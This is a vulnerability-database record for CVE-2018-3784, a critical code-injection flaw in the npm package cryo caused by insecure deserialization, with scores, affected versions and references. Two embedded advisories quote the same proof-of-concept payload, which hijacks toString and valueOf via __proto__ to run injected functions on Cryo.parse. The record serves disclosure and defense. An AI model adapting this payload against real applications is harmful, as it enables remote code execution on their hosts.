{"id":"CVE-2018-3784","aliases":["EUVD-2018-0359","GHSA-38f5-ghc2-fcmv"],"status":"published","title":"Code Injection in cryo","description":"A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-07","score":0.03252,"percentile":0.88415,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-502","CWE-94"],"published":"2018-08-17T13:00:00Z","modified":"2026-06-17T01:57:49Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"cryo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.6"}]}]},{"source":"osv","ecosystem":"npm","package":"cryo","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.6"}]}]}],"products":[{"vendor":"cryo_project","product":"cryo"},{"vendor":"https://github.com/hunterloftis","product":"cryo"}],"references":[{"url":"https://hackerone.com/reports/350418","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2018-3784","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-38f5-ghc2-fcmv","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/690","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2018-3784","description":"A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization.","status":"published","published":"2018-08-17T13:00:00Z","modified":"2024-08-05T04:50:30.738Z","cwes":["CWE-94"],"updated_at":"2026-11-02T14:35:05.619113Z"}],"euvd":[{"id":"EUVD-2018-0359","description":"A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization.","status":"published","published":"2018-08-17T13:00:00Z","modified":"2024-08-05T04:50:30Z","updated_at":"2026-11-03T02:40:15.759349Z"}],"ghsa":[{"id":"GHSA-38f5-ghc2-fcmv","title":"Code Injection in cryo","description":"All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2018-08-21T17:02:43Z","modified":"2023-09-12T18:38:55Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:04.447845Z"}],"nvd":[{"id":"CVE-2018-3784","description":"A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization.","status":"published","published":"2018-08-17T13:29:00.407Z","modified":"2026-06-17T01:57:49.26Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-94","CWE-502"],"updated_at":"2026-11-02T14:04:36.842579Z"}],"osv":[{"id":"GHSA-38f5-ghc2-fcmv","title":"Code Injection in cryo","description":"All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","status":"published","published":"2018-08-21T17:02:43Z","modified":"2023-11-08T04:00:20.055238Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:35.406455Z"}]}}
